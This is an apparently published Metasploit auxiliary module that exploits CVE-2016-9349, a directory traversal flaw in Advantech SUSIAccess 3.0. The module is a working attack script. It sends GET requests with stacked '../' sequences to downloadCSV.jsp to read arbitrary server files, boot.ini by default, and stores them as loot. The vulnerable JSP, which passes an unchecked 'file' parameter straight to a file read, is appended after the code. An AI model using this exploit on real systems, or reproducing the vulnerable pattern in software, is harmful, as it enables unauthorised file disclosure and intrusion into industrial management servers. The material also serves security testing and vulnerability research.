Advantech SUSIAccess 3.0 Directory Traversal / Information Disclosure

`require 'msf/core'  
  
class MetasploitModule < Msf::Auxiliary  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure',  
'Description' => %q{  
This module exploits an information disclosure vulnerability found in  
Advantech SUSIAccess <= version 3.0. The vulnerability is triggered when  
sending a GET request to the server with a series of dot dot slashes (../)  
in the file parameter.   
},  
'Author' => [ 'james fitts' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2016-9349' ],  
[ 'ZDI', '16-628' ],  
[ 'BID', '94629' ],  
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04' ]  
],  
'DisclosureDate' => 'Dec 13 2016'))  
  
register_options(  
[  
OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),  
OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),  
Opt::RPORT(8080)  
], self.class )  
end  
  
def run  
  
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']  
levels = "/" + ("../" * depth)  
  
file = "#{levels}#{datastore['FILE']}"  
file = file.gsub(/ /, "%20")  
  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/downloadCSV.jsp?file=#{file}",  
})  
  
if res and res.code == 200  
loot = res.body  
if not loot or loot.empty?  
print_status("File from #{rhost}:#{rport} is empty...")  
return  
end  
file = ::File.basename(datastore['FILE'])  
path = store_loot('advantech_susiaccess.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])  
print_status("Stored #{datastore['FILE']} to #{path}")  
return  
else  
print_error("Something went wrong... Application returned a #{res.code}")  
end  
  
end  
end  
__END__  
<%@ page import="java.util.*,java.io.*" %>   
<%  
File f = new File (getServletContext().getRealPath("/") + request.getParameter("file") );  
//set the content type(can be excel/word/powerpoint etc..)  
response.setContentType ("application/csv");  
//set the header and also the Name by which user will be prompted to save  
response.setHeader ("Content-Disposition", "attachment; filename=\""+request.getParameter("file").split("/")[2] +"\"");  
  
//get the file name  
String name = f.getName().substring(f.getName().lastIndexOf("/") + 1,f.getName().length());  
//OPen an input stream to the file and post the file contents thru the   
//servlet output stream to the client m/c  
  
InputStream in = new FileInputStream(f);  
ServletOutputStream outs = response.getOutputStream();  
  
  
int bit = 256;  
int i = 0;  
try {  
while ((bit) >= 0) {  
bit = in.read();  
outs.write(bit);  
}  
//System.out.println("" +bit);  
} catch (IOException ioe) {  
ioe.printStackTrace(System.out);  
}  
// System.out.println( "n" + i + " bytes sent.");  
// System.out.println( "n" + f.length() + " bytes sent.");  
outs.flush();  
outs.close();  
in.close();   
  
%>  
  
`